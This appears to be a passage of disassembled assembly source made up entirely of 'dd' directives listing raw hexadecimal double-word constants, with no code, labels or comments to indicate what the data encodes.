		dd 0C37D20C5h, 0A41A438h, 0BBFE1204h, 0F2FAB8CCh, 8F7A0298h
		dd 3B6F5863h, 38DFE883h, 3799A6A0h, 0BA869139h,	58662B3Ah
		dd 0D4A92401h, 8D0181EBh, 67A08458h, 548EDB1Dh,	0EF8D7E05h
		dd 0F9845EE5h, 65033849h, 74A68FC8h, 2B87B811h,	7CB4C0C0h
		dd 0CD80B8D6h, 63EA0A94h, 69144F38h, 802E0781h,	2E44F59h
		dd 0FF48EF67h, 9A8A2FBBh, 0CC125154h, 8240164Ah, 577802EDh
		dd 831D468Fh, 0D980F48Fh, 841CC73Ah, 0F0205CE9h, 0EA272408h
		dd 1873FBDh, 4A268FC9h,	85C86014h, 0AC92E7A6h, 69822D14h
		dd 0DD231280h, 68A5F80Ch, 0AA8329E7h, 0C952C08Ch, 69C3CD03h
		dd 4694268Dh, 9A0634A0h, 0D149478Ch, 60C95AF6h,	0AC814A6h
		dd 10035C7Ch, 834A42B4h, 0E035447h, 1AFB8EC1h, 0A8C4ADB9h
		dd 231F3C38h, 29C21AFAh, 6750F70Dh, 0F30C3804h,	0ED29E8FAh
		dd 0B828B428h, 525C6F14h, 0D963B79Ch, 0F3B5C984h, 7BD7B041h
		dd 5764F882h, 9494855Bh, 513CD8B0h, 2D30E110h, 9421DDAAh
		dd 79972C18h, 80B0ECD1h, 0F0A0308Dh, 0DE741367h, 20144726h
		dd 1E630709h, 0D6D10D54h, 0EDC9DDBBh, 0E7C8204Ah, 63A1230Ah
		dd 20C738D8h, 0A1F2813h, 0A655CDC9h, 469D504Ch,	29EEC431h
		dd 3C23B4ADh, 3DBFF7C0h, 28C2B602h, 9472B00Dh, 684F0028h
		dd 7F025A2h, 71EA2295h,	1E0DCC1Eh, 18BDB182h, 2F6DE099h
		dd 8BB18DEh, 600228F8h,	6DCC9A08h, 565E120h, 30A7CB0Ah
		dd 0AF456295h, 748DCC0Eh, 602D83ACh, 1C10463Fh,	0AC0D2A02h
		dd 42025D95h, 604C0F3Eh, 0CFE24841h, 1C1D2D29h,	0D7915381h
		dd 9881F7B7h, 0CBF97DA2h, 182AE1CDh, 453E0CAFh,	8228FF9Ah
		dd 56B46100h, 0CD408D6Eh, 678ACADh, 0A8E46197h,	0E214903Bh
		dd 0A05C734Ch, 20F88751h, 0C2306E2Dh, 0E7ADE07Ch, 0F130C098h
		dd 0F84DCD27h, 4C6D08C3h, 6477C52Ah, 0D510151h,	7622B051h
		dd 0BA2D4880h, 6F4E56B5h, 0EE0E9074h, 885FE841h, 13943844h
		dd 6A06027h, 5B2A1014h,	7032D8DAh, 0A113F08Eh, 0CD32ADC0h
		dd 1402F44Bh, 39262C84h, 890CE0AEh, 0C7148138h,	0A180BC25h
		dd 1670869Bh, 1111CA2Bh, 97E38C94h, 39617608h, 5F1E9211h
		dd 5B0396C9h, 9400897Ch, 0C1E2AE65h, 1484029h, 567FB941h
		dd 0DF0AACEAh, 0BF8E74F9h, 6AC68051h, 0EBB7D2F9h, 7CA60020h
		dd 5B79EADCh, 8B81CD5Eh, 0E8D4A370h, 0CCD53836h, 3A3FC980h
		dd 0AD856941h, 0B2448800h, 0DB94D40Eh, 26A037E3h, 417BA061h
		dd 7200882Fh, 0B38D4565h, 0C60804h, 8C22F0EFh, 0E5492C42h
		dd 43307961h, 0D1892866h, 6835944h, 10009DBDh, 77F3FB90h
		dd 7E60B0h, 30E0888h, 0E927D2B1h, 45298C07h, 0FE302818h
		dd 7A3B4BE8h, 9E8800F3h, 30BD78AAh, 840018C4h, 28438FE3h
		dd 5F37C2h, 4CB86F01h, 941A59BAh, 9B9CA60Bh, 8108D77Bh
		dd 4CB980A8h, 9417536Fh, 91DCC630h, 20302Ch, 133F8F9Ah
		dd 0A2D3384Ah, 0D484D000h, 4DAC886h, 0A02273E4h, 71D2E0h
		dd 4120F60Fh, 8E3B70E2h, 5085D900h, 8443808Dh, 656E0015h
		dd 0DBD1B79Bh, 2C0079BCh, 148CB1E2h, 151D5E38h,	0DC97C135h
		dd 0A6027702h, 4801EAh,	98008025h, 947C6749h, 202E98Ah
		dd 0F5E7759Bh, 34E0438Bh, 0EB481F7Eh, 0C67D1750h, 0FA5AC900h
		dd 9E8BCFh, 344C2E81h, 39C9F2AAh, 3EB8DD03h, 0D07A3C11h
		dd 7D17F32h, 6C0629E5h,	3D3BB089h, 0C1031551h, 875CFE66h
		dd 691F8080h, 58E40020h, 0B4DACA18h, 0F30035DCh, 39334A4Ch
		dd 584E9508h, 70DA76h, 25DDCB6Ah, 9A1C4D0Eh, 845BBB01h
		dd 41CC26F1h, 0E6176FF4h, 0C5560109h, 0FE18D937h, 3E39E887h
		dd 54791C00h, 0A85B442h, 59AA01F5h, 0FDCF6CF0h,	2930803Ch
		dd 2E424F1h, 8847004Eh,	30156F61h, 0AF265645h, 6300D8E0h
		dd 549274ADh, 34020781h, 1BF59011h, 0A03D9780h,	0F600D2D7h
		dd 0B6CFD8CBh, 1DF12630h, 0CA6476h, 73BDAD5Ch, 0DCE71307h
		dd 0E00B8FCh, 64AF5D21h, 0ED30BDCh, 39C5A57Fh, 0E773BF00h
		dd 0EB001E8Eh, 0BC771B76h, 0B1EE3Ch, 9F71E834h,	0B49B49EFh
		dd 900377Fh, 54668729h,	0A1E13Eh, 39C33170h, 4B4A5911h
		dd 0AD6CCA00h, 0BF2571CEh, 4970372h, 325451EFh,	56F52811h
		dd 0EE4D3708h, 0C925310h, 0E9283021h, 20B05744h, 277D87B3h
		dd 63309141h, 39F407C1h, 104BFEEDh, 47F9BF8Fh, 77005398h
		dd 0F26EAD0Ch, 80EC26h,	0AE1EE581h, 0A447E1D4h,	57F81CECh
		dd 2C5C8097h, 3159B0h, 1BD1B323h, 5A48B104h, 4DC8401Dh
		dd 73036D40h, 285B7864h, 3DE02BA7h, 3C018AF8h, 996E1793h
		dd 409BF88Fh, 0FD002C98h, 10FF0A50h, 56C3A6h, 0C71789D4h
		dd 0A464631Ch, 1F7EB53Ch, 0FBC00EDEh, 529BA504h, 0EC070068h
		dd 8289C0D2h, 190E4DDCh, 0E3CE02h, 0C5E1ED0Bh, 867B0520h
		dd 0C063A951h, 91E487FEh, 10123924h, 43E04B0Eh,	0F3ACC46Bh
		dd 0A859A8F1h, 1D993C08h, 106FB480h, 0B18AE1D6h, 1A5DBB0Eh
		dd 0C4D7C307h, 0FFCE885Eh, 5CB60053h, 0CAAE147Fh, 80032C85h
		dd 877B2ABDh, 4FA6D050h, 4D2043Ah, 851374D6h, 49C400DDh
		dd 16FCD4FDh, 96005578h, 6FEF941Eh, 7B4393Dh, 88121A9Fh
		dd 76A106Ch, 820090A0h,	0DA03486Eh, 0E0FCBB3h, 15C9686Fh
		dd 2DF6E1C0h, 3800D33Ch, 0F8B492A1h, 780CA737h,	88BF0E06h
		dd 0D6424532h, 0A5C0604Ch, 0D78FC6Ch, 9FDCDF0Fh, 6D1F7D24h
		dd 0E300A1A4h, 5B1E0725h, 0CD170011h, 858F07Dh,	1900A323h
		dd 721B7AF6h, 1E0E683Fh, 0A2C362h, 18847C07h, 0C9001AE9h
		dd 4D2EABAFh, 220254h, 70FC2D09h, 96DD849Dh, 0F0B85000h
		dd 4B0EB628h, 278A1D83h, 2ADCC06Dh, 1C3389FCh, 1400F5E2h
		dd 0E5846365h, 3406B5h,	24B8FE3Fh, 86A8E20Fh, 6B0B6700h
		dd 1A4A1223h, 980100ECh, 6A7A9604h, 0A9034189h,	0A3D497D6h
		dd 0FC3000E4h, 7E78B1C5h, 36078C2Bh, 4D35B96Bh,	3DAFB4D1h
		dd 5F450D4h, 976378E1h,	45B8C091h, 2C00E51Dh, 0E4B65407h
		dd 43D8B5h, 0A3895A74h,	3531F8Ch, 13003575h, 0C7FD7DD3h
		dd 0C65B01h, 0B9572ABEh, 545F0684h, 690B1F00h, 0BA314E61h
		dd 7F360053h, 0E7828086h, 0A500E088h, 524CBD26h, 7B348D7Ch
		dd 77840057h, 0C7F18221h, 271D0791h, 0EAC03299h, 485889E3h
		dd 0A9DC002Eh, 7DC5AB16h, 0D4036DEDh, 0F5695001h, 304CB09Ch
		dd 0C3B61E11h, 6562401Bh, 76E8D93Ch, 9A4D6C03h,	0C85CDA7Fh
		dd 0E10FDFh, 0FFE496D5h
		dd 9FFAAF98h, 92ED2E00h, 5D365BF8h, 912D0725h, 3666B083h
		dd 0E41E3EB5h, 0F7407D9Fh, 0AAA4C63Ch, 6AB900B4h, 54AF339Bh
		dd 88008F6Bh, 9F1821B6h, 0DAB068h, 12D0400Ch, 45851F7Ch
		dd 723BE01Ch, 0BF18A800h, 92CC2Eh, 4320994Bh, 4784484Fh
		dd 9C005B75h, 4404FAEEh, 92DB19h, 3B9ABF16h, 69A2460Ch
		dd 9EF96400h, 81BEA3B0h, 1EE5A3C5h, 0C05EBF18h,	0B1409771h
		dd 270FF258h, 0A0247BBBh, 2D4BD08Fh, 86729Dh, 6DCDA4A2h
		dd 6E4011B5h, 0F904E00h, 2709810Ch, 5FCC00DEh, 0D5769808h
		dd 0B300F92Fh, 577F7A99h, 1F471AD6h, 3FAB33h, 87BCB12Bh
		dd 667DFDACh, 670CF800h, 0AFD19EEDh, 3E6A004Bh,	52DF5C44h
		dd 0DB0346F2h, 8703194Eh, 988393D5h, 72F4C3C8h,	0BE7203DDh
		dd 0C6211B05h, 0C05A32D0h, 0D3C248h, 0D07C1131h, 152F1E1h
		dd 563C30EAh, 0E89AA54Dh, 8150854Bh, 60002AE4h,	0E509727Ah
		dd 0F82034h, 4FC54132h,	239CAE7Bh, 0D1539B01h, 717894C1h
		dd 0E48060ECh, 3D7C44h,	0C92BE08Ch, 265A12E4h, 46F6C7F0h
		dd 0E1CE5C03h, 0A049DEB1h, 0E0702974h, 3442001Ah, 0E4AE8722h
		dd 85002168h, 73904847h, 51C818h, 2837C632h, 0F255BF6Bh
		dd 1AE3B30Bh, 44815790h, 0F4021EB4h, 1D3EACCCh,	0D318091h
		dd 6FD0E924h, 9ED5003Ch, 40FDD9F2h, 7F009C60h, 47B081DEh
		dd 7520B325h, 0CCF007BEh, 5036A8D9h, 312A0D7Ch,	0E300A4B8h
		dd 0B41770DDh, 95BA131Ch, 88EE4A00h, 53007DD4h,	9B786E7h
		dd 210B0h, 3505F839h, 0DA2DDF3Fh, 0A005F75h, 0E37ECC42h
		dd 38713CD9h, 2700307Fh, 76ADA775h, 0D65EC2F7h,	8F74C400h
		dd 50056Dh, 0E842AB9Bh,	37A99FBFh, 5100EB71h, 0B94835FCh
		dd 333C1Dh, 895BDB66h, 0C72ECC59h, 0DF00CBEEh, 95BFA93Fh
		dd 0FDD247Fh, 0F071D162h, 0A1E0FBA1h, 0EA5FC823h, 0C5A2BB00h
		dd 5AB4DFF3h, 9A040083h, 0B7F6F734h, 2305AE8Bh,	3309270Bh
		dd 43203B87h, 3EC422D6h, 7E829634h, 0E89C35DBh,	84406DC2h
		dd 833CA08Dh, 0ED3C43h,	0D67E1823h, 50BB4h, 1198BA37h
		dd 0D2488A5h, 9B1C1F1Eh, 0B7AEA9C0h, 7362FBh, 7C8F4E28h
		dd 0C8D0B3Ch, 1357F03h,	90B92983h, 1E6C46FBh, 9D3CC638h
		dd 0A9A409Eh, 0B8B29425h, 0FF00BCF6h, 49FA1F9h,	3A9B03h
		dd 0F20B39E4h, 0FE30CBBAh, 380073EEh, 1A854D12h, 0EFA2775h
		dd 0E76FEA2Ch, 70F16947h, 1403AFB1h, 754D1A0Fh,	72E5A2FEh
		dd 5B9740C6h, 21060061h, 18665C05h, 0B1720BE8h,	98E0EA07h
		dd 538043A1h, 38C62EEh,	0A59DC08Dh, 93A83283h, 29013F14h
		dd 28C1A1E9h, 0C8C897BBh, 653B00EDh, 53BF526Ch,	0F50060AAh
		dd 2EB9E2DFh, 2725F1A8h, 427C0239h, 2CA18307h, 477A19C0h
		dd 0B67707FBh, 10871D91h, 640C5AC1h, 5B0E8400h,	14F198F3h
		dd 797F0042h, 6B48EB15h, 0B100FF6Eh, 29EC5A65h,	1682F37Dh
		dd 1DD1C1B8h, 0F600FD3Ah, 0E0E99B21h, 1507A4C7h, 865FDD2Ah
		dd 20FB2C40h, 0D9510367h, 5D707B0Eh, 1AA2F3E8h,	0BD8EF500h
		dd 57912E1Eh, 0C322C9B2h, 921BA300h, 56001584h,	25D1A222h
		dd 70F00Bh, 46CF1C31h, 0BE440790h, 51C5C207h, 0A2F032A5h
		dd 385BBAh, 23B659CEh, 100F602Eh, 789EA900h, 0E54E0E0Ch
		dd 7BCB7C7Dh, 9C807ADh,	30152457h, 0F2ACCAE1h, 2B7F1900h
		dd 4943EC60h, 0A5390073h, 4DFC5385h, 5000B3DCh,	6BC7DF86h
		dd 1CA429A3h, 40EF555Dh, 8BCD3725h, 0DCEDE274h,	0BDB8953Eh
		dd 8D6BC526h, 5AFFA400h, 1BB09DDh, 0C2F1D75Fh, 0C006977Ah
		dd 19008EABh, 0CFC5E6D1h, 3801A1F7h, 1F803F1Ch,	69749E05h
		dd 762E9484h, 0CF017829h, 8837E01Bh, 1C2C8940h,	6AE005Eh
		dd 5C3CB84Dh, 4B00E2C2h, 74C0C821h, 76A6CEh, 0D1F489DCh
		dd 0F5E506BAh, 855158h,	70DF8F04h, 0A43B0Ch, 41BD10A0h
		dd 0E8A8254Ch, 0DC99E100h, 0E2D6DE56h, 67A658B2h, 9C7E2A07h
		dd 291F63DBh, 0D38651F0h, 0F3A0B0F2h, 2500CCF3h, 0DF44992Eh
		dd 23008A0h, 22D46BDBh,	794071CAh, 1500A841h, 2D3E6329h
		dd 0D34EA5h, 6A932789h,	2094C9BCh, 0E5B60E00h, 0A5C0CDB4h
		dd 78E30E48h, 0C03D5890h, 74E7A0F5h, 19007E0Ah,	4B27F08Ch
		dd 28AAF6h, 78BA2470h, 0C99C5AFAh, 6B740F00h, 0A571CDD6h
		dd 0A11500B5h, 0EFCE0A37h, 0FB70FABBh, 962A7D00h, 0B1F27FC4h
		dd 7DC04C8h, 0F805A1F0h, 201500C4h, 0D846EA3Fh,	4CD6013Ch
		dd 0D5421BB3h, 0EB76F8B6h, 225C2003h, 0F35EA4C1h, 9218165Ah
		dd 9A2C03E0h, 51A86184h, 0CA00ADE5h, 7BCB0C10h,	1C01304h
		dd 0FE35B8C5h, 40037F62h, 8AAB918Ch, 7048D078h,	0F7400019h
		dd 93EB3097h, 883D02E8h, 0E47D5FACh, 274FDCC0h,	0EFB60500h
		dd 63F94235h, 18F279D2h, 5004B76Fh, 0C3078C96h,	0F682BBE8h
		dd 28B418C0h, 2C2009Ch,	247A0759h, 7000E61Dh, 0BB4FA0E0h
		dd 4AEC960h, 4578F87h, 942C9007h, 0AC79BD18h, 0EA00B5E8h
		dd 50D70E39h, 5D1491h, 0B296B6BEh, 0F5CF49D4h, 82EBF00Fh
		dd 0AD9A406Bh, 1C1BEE83h, 402744F8h, 0A8027E39h, 77038FDCh
		dd 0E1C251A4h, 5BADD8AAh, 0F2FA3FEAh, 87CB3B80h, 0CD72241h
		dd 7CB31001h, 0ADB5CDA0h, 935CE1D3h, 38753DCh, 0E8FA91B8h
		dd 94C0FD44h, 16005428h, 0C79E63F6h, 764EFF4h, 0A279D465h
		dd 95B3403Ch, 90037C2h,	2336F5EDh, 4A16EFh, 0FE539FF1h
		dd 5D721E40h, 78BD1973h, 838B1298h, 8EBCD1h, 0A7D4C167h
		dd 10DAB9Eh, 2F6DCA7Ch,	40AE89BEh, 0BD50828Fh, 0FFDF301Eh
		dd 0A319AC3h, 0A0ECD884h, 0E36800AAh, 3B1EAF7Bh, 0E9003046h
		dd 893E4920h, 38C2807Dh, 0EC80DC4Fh, 0CBC50AF4h, 0B100A05Eh
		dd 0D9011620h, 5483A9h,	45595A19h, 0D86E1D5Dh, 5CE1BD01h
		dd 4C0EC055h, 1364E0h, 8AE663DEh, 4405CD79h, 0C16A4300h
		dd 0DC4E2411h, 72D9002Dh, 234F8ADDh, 7D00F7D8h,	0EC54A1Ah
		dd 93E4C0h, 7A2D7830h, 28DB532Ch, 0D539F307h, 0BA31DC73h
		dd 18800721h, 173FE46Ch, 0AA038519h, 9BAC9478h,	774B99A8h
		dd 474DAF40h, 0EC4A008Ch, 1F05DA2h, 51001939h, 1609CFD5h
		dd 38FEAEh, 68A330CDh, 0F6F015B8h, 0AC9BAF00h, 2ED78DC4h
		dd 0F28B033Fh, 41803521h, 0F06724C8h, 27335Ch, 0C8498E1h
		dd 0F4F94AB4h, 929D0447h, 83D0EF44h, 0C9C0DA14h, 90069CEh
		dd 76B9AB0Ah, 0E6FA0864h, 15C70029h, 0D7CC398Fh, 0EF1F73ADh
		dd 0A4C0D633h, 6AB587A9h, 6C10011h, 81C80F5Fh, 0D400D8EAh
		dd 0ADDB4B5Bh, 9A8243h,	0D1949F29h, 0A0C66895h,	85B2E300h
		dd 0C971AC15h, 0A3EB00EAh, 5CD8ECFDh, 0AD07FC5Bh, 0B903422Dh
		dd 7C54B210h, 14890150h, 58DBE815h, 0ACC05023h,	0EDF4C66Bh
		dd 0A6A0B000h, 8C0ED696h, 0B8E6E6h, 0A360A985h,	4C3C7227h
		dd 2DF11200h, 4FED3E51h, 17990EAEh, 5620F5ADh, 9B906F60h
		dd 82E71A0Eh, 9A8AC073h, 7ADFBCh, 928BF21Dh, 433FEA4Ah
		dd 7F2C6500h, 81A70E08h, 0A1870054h, 447316C6h,	0AC3C5C19h
		dd 78F4C4Eh, 0B57BC32Bh, 0BFE7C00Fh, 0C06A7520h, 0BC514A10h
		dd 0A008DB9h, 0C9CD6E83h, 3918EEh, 5E0BD43Ah, 49C7365Dh
		dd 0F155B400h, 0EC912C15h, 0FF9C01E9h, 39DD5181h, 0ECCEF926h
		dd 0A101E3DFh, 6C1083A8h, 3BE0CC29h, 0A4B00056h, 0F7E11328h
		dd 0B61E9BC4h, 20708FF0h, 0F8ECF86Fh, 810A3CAEh, 0B08A4500h
		dd 2DBCC8DBh, 0CEAA8F09h, 0F40B0097h, 85A077h, 0D4383A29h
		dd 0EF6508Bh, 23517600h
		dd 0F98C2037h, 0B7932E9Dh, 0B4003F47h, 0EC4D9219h, 0E9098812h
		dd 80BE291Ah, 0BC995A46h, 0D90600FFh, 0A478FC5Eh, 693A7127h
		dd 179C002Eh, 9BD899A8h, 739701A5h, 24FC09DBh, 52C8F377h
		dd 32001621h, 0B2FF86A0h, 5FCC2Fh, 3A34FEF0h, 93925D8Fh
		dd 90F60A00h, 31CBA073h, 28C2008Dh, 0D57FE696h,	97006C79h
		dd 6A7C1127h, 1B15F0h, 6976479Eh, 1C8F5DE6h, 0F7086309h
		dd 46BC009Ch, 1890F3h, 2D974960h, 0CEAC50FBh, 8744CF39h
		dd 62CA54BBh, 2B3D00DBh, 3336DCE9h, 710B224h, 7A4F4DB8h
		dd 2DB81103h, 0B30CB4ECh, 3AFFC0BFh, 287600D3h,	0A45093E8h
		dd 0ED0004F0h, 0DF4A08E9h, 149240DCh, 0A12518F5h, 1FD6DD00h
		dd 7096EA9Dh, 16C1F01Dh, 0F5F48E7Bh, 0A25C2104h, 0DE70E793h
		dd 0EC8C01DFh, 857C5B8Ah, 2C80C33Ch, 890323D6h,	26EBC659h
		dd 202580B3h, 488A7E74h, 0A70038B0h, 49C42E1Eh,	50C55332h
		dd 6803BC9h, 1F49F60h, 0F01F7BDh, 605F873Eh, 0A5F0422Eh
		dd 2002D013h, 0FD36D500h, 3CB0DCh, 2832D707h, 2A12CEFBh
		dd 3738F500h, 0A291FE6Dh, 428B0747h, 6055832Dh,	705F03D3h
		dd 0AC330500h, 485E9368h, 0E04400B9h, 832F42C8h, 502DFE7h
		dd 95342BF2h, 6AC94011h, 4950123Fh, 0AE8C4042h,	2327870h
		dd 80005BF8h, 11559677h, 0BDDC1Fh, 0DBA2B098h, 172425B6h
		dd 0F5B35700h, 0BCFBACF6h, 0D8C200BBh, 306B9CADh, 0FE0F8B5Ch
		dd 69121A18h, 0AC98066h, 48E1DD4Ah, 0B5005BB6h,	0B08972A9h
		dd 5900C01Ch, 0E8B13F9Dh, 0D10E76h, 0FE91E0A8h,	0AEFF7722h
		dd 2EE8C561h, 28241EEFh, 11020773h, 809A0A98h, 1AA82FDBh
		dd 2E2A6A0Eh, 1EFDA70Fh, 0E89C0440h, 0D6D5E15Eh, 1795D4h
		dd 0DD504045h, 2AB1CF7Fh, 80E1CE2Ah, 804A1300h,	0D18227ABh
		dd 0DF7100B9h, 1D19D794h, 0A8009AFAh, 93A34290h, 0BFFE211h
		dd 0ACBDEA9h, 0D816100h, 3A0E7BC2h, 0C2273329h,	406B3021h
		dd 1BF07B7h, 524EAAC6h,	0D8F1437Ah, 7C044918h, 60D7F53Bh
		dd 9D807890h, 2DE20B86h, 91871B66h, 88C80011h, 148AEA2h
		dd 3AFA1F9Eh, 2BCA00F8h, 0E8071EF5h, 42830012h,	2706A04Ch
		dd 300BB45h, 2BE5DD75h,	943A23h, 31D111C0h, 923FC15Dh
		dd 0D66C3B00h, 0ACE6EE99h, 57080FFFh, 403237A3h, 3B8BC804h
		dd 0DD003626h, 59FE18CFh, 0B749AE3h, 0B2D0B4A4h, 0A5CBCB80h
		dd 0B090316Ah, 7D88A049h, 0AABE1900h, 0F1E6151Eh, 3D98FDh
		dd 7443759Bh, 3B4BBAACh, 0B5BF5B00h, 5E8A1714h,	0DEEB268Ch
		dd 0DD056068h, 610012A2h, 1490C72Fh, 7552C86h, 0C230AA35h
		dd 8062452Dh, 2B226F08h, 7466400h, 0DF0AA42Ch, 0FA99003Ch
		dd 6DD9677Dh, 8F003625h, 1E1410DBh, 19AC54h, 2D35F2BDh
		dd 0A98EC6B8h, 27C1F400h, 0BBCC8D39h, 0D5F0008Ch, 4B60A3E9h
		dd 0B70685B0h, 6AF10FD4h, 0EE910074h, 0AF2C45B4h, 9A00BD14h
		dd 7457C232h, 27935BB8h, 335C0868h, 0D08EAA00h,	3CEBCE2h
		dd 4088FC7Bh, 0EFB2040Eh, 0A59B480h, 26B81A44h,	5DE29000h
		dd 63FF06B5h, 0AE4602FAh, 53B9D3EAh, 1E8C5640h,	0CCA19313h
		dd 342E1705h, 0A4B4B100h, 0EA81C607h, 0C9E5011Ch, 0A6B3B28Bh
		dd 8D5260F6h, 0AC6D8718h, 0E49D4370h, 6210012h,	62688AD6h
		dd 45071EADh, 6452D2ACh, 48C76081h, 20E2109Bh, 90C10BD0h
		dd 9BD840h, 0AEC65591h,	68F68EEFh, 8348D26Fh, 48B5D1h
		dd 0E0AF4769h, 543DEE50h, 1F99CE1Fh, 98E7C3C0h,	7E13CA30h
		dd 0BEA201EFh, 6144E002h, 4388505Fh, 0E47851F0h, 0C44BA107h
		dd 8C30CA93h, 5E74DBh, 0A2E01CE5h, 44D0908Eh, 4E002679h
		dd 84066E9Fh, 1E56CE82h, 0C03D8B48h, 0C2452D2Fh, 66ECE6DFh
		dd 8F0E9A00h, 0BC5EF93Bh, 0DDE4F927h, 0E3BF1FBBh, 0C3AD1C01h
		dd 0AF887E44h, 21DB0980h, 0B71FBD00h, 0AECD8D78h, 0F3DD16E2h
		dd 61D600E6h, 7A9A8659h, 5E971C2Fh, 8FF41FEDh, 417DD0FFh
		dd 9B12B8CCh, 8071CC06h, 5B677B00h, 66A22B3Dh, 0E655F085h
		dd 0D6C500DDh, 514F04ADh, 6100B201h, 0BB67333Eh, 12E445D0h
		dd 7CED457h, 271AEFC8h,	60801F2Fh, 0ED685F1Eh, 0C0A0B802h
		dd 48BC3117h, 7E6ADCh, 0C37D46EEh, 0F05A45D1h, 52B3CCA0h
		dd 0A3067B00h, 20156D18h, 0A0C0E913h, 89E00C0Eh, 12101B9Fh
		dd 3DBBFA01h, 0EAC26386h, 164E3180h, 194FD76Ch,	4CE4CB00h
		dd 28530826h, 5990039h,	3C12F086h, 52002370h, 5601A81Fh
		dd 0FA68D17h, 228C4840h, 0AC5E1100h, 4E016B7Dh,	0F90BAD23h
		dd 99E02870h, 601A1F41h, 0CBE680BDh, 2418A003h,	0A9725500h
		dd 12093697h, 86E0B14h,	0B8803FE0h, 57FCBA47h, 23C9A01h
		dd 97AB269h, 85E03886h,	78BDD181h, 72CB3718h, 0DD6900C8h
		dd 29C30561h, 18190760h, 414E4A19h, 0F9C0E175h,	9B4096A8h
		dd 9934011Bh, 55B92CF2h, 0ED298F7Fh, 4B590090h,	0AEA2Eh
		dd 86EC63C3h, 835B9DD8h, 0FDA9CF1Fh, 668AA240h,	18050681h
		dd 0EE4A30A1h, 1D00D9B2h, 0F6224F9h, 0B8021CC6h, 0F86AFCEBh
		dd 7BD81D1Bh, 2C307AD2h, 6DAAD21h, 19844C00h, 813938F7h
		dd 283D0657h, 491F7D31h, 8078CF3Ch, 1D5EB7B3h, 0D09350h
		dd 0BB352ABAh, 44DC8DB9h, 0BB33404h, 62C079C7h,	7C614E5Dh
		dd 3C40C026h, 0CE8441EBh, 8FA8DB3Bh, 6CA9B98Ch,	1356129h
		dd 0B2A74FD3h, 401AAE76h, 1D40FFDCh, 0C7736272h, 0B0041B37h
		dd 9886AF80h, 0A83301E5h, 0FD8EFE7Dh, 83EDD178h, 99EFF121h
		dd 25BEB0BDh, 5E801ECFh, 0E1024h, 44416D85h, 6971205h
		dd 0E06A08F1h, 41C7F006h, 1420800Fh, 2B63593h, 8BAA9D41h
		dd 0BFE03447h, 0CC1D79FEh, 2418FDB5h, 77886821h, 93350047h
		dd 0B903254Ch, 3800EE5Eh, 0ED9F0BA0h, 155A0Eh, 0C643BC7Fh
		dd 0D040E2E5h, 41682400h, 27F0F16Ch, 0D64A249Dh, 0EB84312Fh
		dd 0ED47C534h, 80CBD536h, 1874A68h, 79605DDh, 0B1E3552Eh
		dd 0E438F054h, 3100571Ch, 5F9F09F1h, 0C89A863h,	8ABD3C4Ch
		dd 363C8010h, 0C018004Ah, 81DB41F0h, 0B54607B6h, 0B2D28476h
		dd 41C059D1h, 143DFD50h, 0D5C380D6h, 0E1D4CBC8h, 182C6080h
		dd 6A5C0571h, 87CC2300h, 5D4FEE9Bh, 5F743AD6h, 0C1040200h
		dd 0E57350F9h, 34CBC000h, 91491052h, 0EEBD0087h, 2E5C1239h
		dd 810ABCA9h, 0B70DE29Bh, 261861Bh, 0F4455108h,	513452BAh
		dd 40A1044h, 21B102EEh,	35B2AB1Ch, 0EA6420C3h, 65881084h
		dd 555F2400h, 0D368C6FFh, 0FD70058h, 0EE420CB9h, 6F988720h
		dd 41FBBD00h, 0D6643EF6h, 0A3700072h, 0FB8B7E8h, 2000862Ch
		dd 4CEBACD3h, 0FF5D1Ah,	17C4835Ch, 3227693Eh, 94D51906h
		dd 2202B8Eh, 38FED484h,	209CB93Bh, 887023h, 0BD08F38Dh
		dd 280FCDA3h, 0CB3643Fh, 0A5C930h, 44349DBh, 0D1B62352h
		dd 455039F0h, 0E60FFE08h, 0E362468h, 9E59E034h,	18D7750Ah
		dd 1825C93Bh, 0F1030935h, 0BFEE55ECh, 0FD6EB074h, 0C445781Ah
		dd 7EF0460h, 0CC8F0102h, 0AF488C7h, 0E5097922h,	0E7070398h
		dd 5042EBECh, 6E1871B4h, 7D20F661h, 30B7ACEh, 992C93BBh
		dd 61E60625h, 37675B79h, 0EC82BDB1h, 412008F6h,	0CC02CF63h
		dd 41859A5Ch, 1C047EACh, 4BCE0274h, 226C6A5Bh, 0D960213Eh
		dd 0BFD4C04Dh, 58201140h, 50A4E3B7h, 202D2881h,	39124521h
		dd 4041E7DAh, 48BFC9AEh, 1D172C20h, 81561D43h, 6B6D871Eh
		dd 2F1882B3h, 403952A3h, 2F0850Ch, 0AE03ACD7h, 20905770h
		dd 0F1EA4DE8h, 84957211h
		dd 0EB2197F2h, 0D4455660h, 0E10E1067h, 1228B04Ch, 88AF901h
		dd 422C2102h, 4CFBB187h, 87C0208Ah, 850EE410h, 0FB3DB544h
		dd 0C04F7380h, 0EC293B11h, 88B627A7h, 0AACD0BE0h, 0D86701DDh
		dd 0F8AD3BBFh, 0B5100F35h, 480A6EBh, 6D7F2B0Eh,	42017CD7h
		dd 2B09485h, 0B84C9978h, 0A1203EBFh, 2208423h, 2681FD1Bh
		dd 40BE6C27h, 81201A52h, 2B33BE9h, 8F158B0Ah, 43A301AAh
		dd 60201866h, 0A4F509B2h, 0E00157CFh, 0C293DD92h, 68C02040h
		dd 326EB100h, 0BC0D55E2h, 8589A4Ah, 0F710C2A4h,	0A5028202h
		dd 30546A9Fh, 218C4C20h, 7B519D5Bh, 3917020Fh, 3E696ED5h
		dd 1C87C0ECh, 139588FEh, 0A2E7FDCh, 0C2B65AE2h,	54AFF060h
		dd 68823A85h, 0B5B07840h, 72120BCh, 3CAAC1C7h, 815FA1Fh
		dd 88735143h, 85F49DFBh, 523C3F44h, 0C1ABE110h,	80AA9BA8h
		dd 0DCDA7C63h, 9A082D21h, 8701A833h, 0BA213DCEh, 208F0A35h
		dd 82C82953h, 1D986340h, 4208C58Ah, 9814D964h, 2DFD0428h
		dd 7C23A82Fh, 20AEB8h, 6381CE8Ch, 9925FB5Fh, 42E25923h
		dd 0EC14EF0Ch, 6A70ACFh, 54803ABBh, 0C160BC52h,	0ACA76654h
		dd 58B0880Ah, 8E0ACE73h, 20923091h, 0C014B4F1h,	42E3F168h
		dd 85E49F88h, 0FA401280h, 8521A6E5h, 14381B42h,	434D40C1h
		dd 840A1FA1h, 533837CBh, 0C3698508h, 0FBFF984h,	23646102h
		dd 433E85CDh, 657CCFC3h, 4078F9FDh, 9082878Fh, 0BC661FD4h
		dd 0C1934320h, 8947F2E6h, 82E7880Ah, 6E4BBD09h,	0F34D6401h
		dd 0A70E2C66h, 69A475FCh, 0C10B2A41h, 4C164CC2h, 9811BE71h
